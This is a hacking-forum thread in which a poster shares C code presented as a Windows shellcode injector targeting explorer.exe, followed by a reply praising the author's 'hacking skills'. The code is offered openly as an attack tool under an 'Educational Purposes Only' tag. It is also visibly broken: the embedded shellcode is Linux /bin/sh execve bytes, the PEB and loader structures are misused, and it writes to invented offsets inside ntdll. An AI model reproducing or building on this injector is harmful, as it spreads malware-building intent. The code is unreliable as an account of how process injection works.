Skids
by - Thursday, January 1, 1970 at 12:00 AM
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "kernel32.lib")

const char* shellcode =
"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";

DWORD WINAPI InjectShellCode(LPVOID lpParameter)
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
Process32First(snapshot, &processEntry);

while (Process32Next(snapshot, &processEntry))
{
if (_stricmp(processEntry.szExeFile, "explorer.exe") == 0)
{
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
LPVOID pebAddress = (LPVOID)0xFFFFFFFF;

NtQueryInformationProcess(process, ProcessBasicInformation, &pebAddress, sizeof(pebAddress), NULL);

PEB peb = (PEB)pebAddress;

LDR_DATA_TABLE_ENTRY* ldrEntry = peb->Ldr;

while (ldrEntry->DllBase)
{
if (_stricmp(ldrEntry->BaseDllName.Buffer, "ntdll.dll") == 0)
{
DWORD ntdllBaseAddress = (DWORD)ldrEntry->DllBase;
BYTE* atomTableAddress = (BYTE*)(ntdllBaseAddress + 0x1C);

for (int i = 0; i < 0x100; i++)
{
if (atomTableAddress[i] == 0)
{
DWORD* atomTable = (DWORD*)(ntdllBaseAddress + 0x1C + i * 4);
DWORD* atom = (DWORD*)(ntdllBaseAddress + 0x1C + 0x101 * 4);

*atom = (DWORD)shellcode;
*atomTable = (DWORD)atom;

break;
}
}
}
ldrEntry = (LDR_DATA_TABLE_ENTRY*)((DWORD)ldrEntry + 0x38);
}
}
}
return 0;
}

// Educational Purposes Only!
Twitter.com/ClumsyLulz
T.me/SleepTheGod
Github.com/SleepTheGod
Pastebin.com/u/Sleep
Reply
Thank you very much sleep, your outstanding hacking skills are truly amazing .
Reply
(March 31, 2022, 09:23 PM)spice Wrote: Thank you very much sleep,  your outstanding hacking skills are truly amazing .

Appreciate it
Twitter.com/ClumsyLulz
T.me/SleepTheGod
Github.com/SleepTheGod
Pastebin.com/u/Sleep
Reply


 Users viewing this thread: Skids: No users currently viewing.